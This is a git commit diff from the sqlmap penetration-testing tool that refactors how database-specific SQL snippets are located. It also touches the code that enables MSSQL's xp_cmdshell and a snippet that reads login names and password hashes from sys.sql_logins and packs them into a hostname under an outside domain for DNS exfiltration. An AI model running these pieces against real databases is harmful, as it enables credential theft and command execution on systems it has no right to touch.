minor update and refactoring

This commit is contained in:
Miroslav Stampar 2012-02-15 14:05:50 +00:00
parent bf923a97df
commit 8d7912ad34
5 changed files with 21 additions and 5 deletions

View File

@ -61,6 +61,7 @@ from lib.core.convert import unicodeencode
from lib.core.convert import urldecode
from lib.core.convert import urlencode
from lib.core.enums import DBMS
from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import HTTPHEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import OS
@ -1807,12 +1808,14 @@ def parseXmlFile(xmlFile, handler):
parse(stream, handler)
stream.close()
def getSPLSnippet(name, **variables):
def getSPLSnippet(dbms, name, **variables):
"""
Returns content of SPL snippet located inside "procs" directory
"""
filename = os.path.join(paths.SQLMAP_PROCS_PATH, "%s.txt" % name)
_ = { DBMS.MSSQL: DBMS_DIRECTORY_NAME.MSSQL, DBMS.PGSQL: DBMS_DIRECTORY_NAME.PGSQL }
filename = os.path.join(paths.SQLMAP_PROCS_PATH, _[dbms], "%s.txt" % name)
checkFile(filename)
retVal = readCachedFileContent(filename)

View File

@ -26,6 +26,7 @@ class SORT_ORDER:
class DBMS:
ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
FIREBIRD = "Firebird"
MAXDB = "SAP MaxDB"
MSSQL = "Microsoft SQL Server"
@ -34,7 +35,18 @@ class DBMS:
PGSQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
DB2 = "IBM DB2"
class DBMS_DIRECTORY_NAME:
ACCESS = "access"
DB2 = "db2"
FIREBIRD = "firebird"
MAXDB = "maxdb"
MSSQL = "mssqlserver"
MYSQL = "mysql"
ORACLE = "oracle"
PGSQL = "postgresql"
SQLITE = "sqlite"
SYBASE = "sybase"
class CUSTOM_LOGGING:
PAYLOAD = 9

View File

@ -17,6 +17,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import DBMS
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setXpCmdshellAvailability
from lib.core.unescaper import unescaper
@ -63,7 +64,7 @@ class xp_cmdshell:
debugMsg += "stored procedure"
logger.debug(debugMsg)
cmd = getSPLSnippet("configure_xp_cmdshell", ENABLE=str(mode))
cmd = getSPLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
return cmd

View File

@ -1,4 +1,4 @@
# Reference: http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf
# Reference: http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-karlsson.pdf
DECLARE @host varchar(1024);
SELECT @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.%DOMAIN%' FROM sys.sql_logins;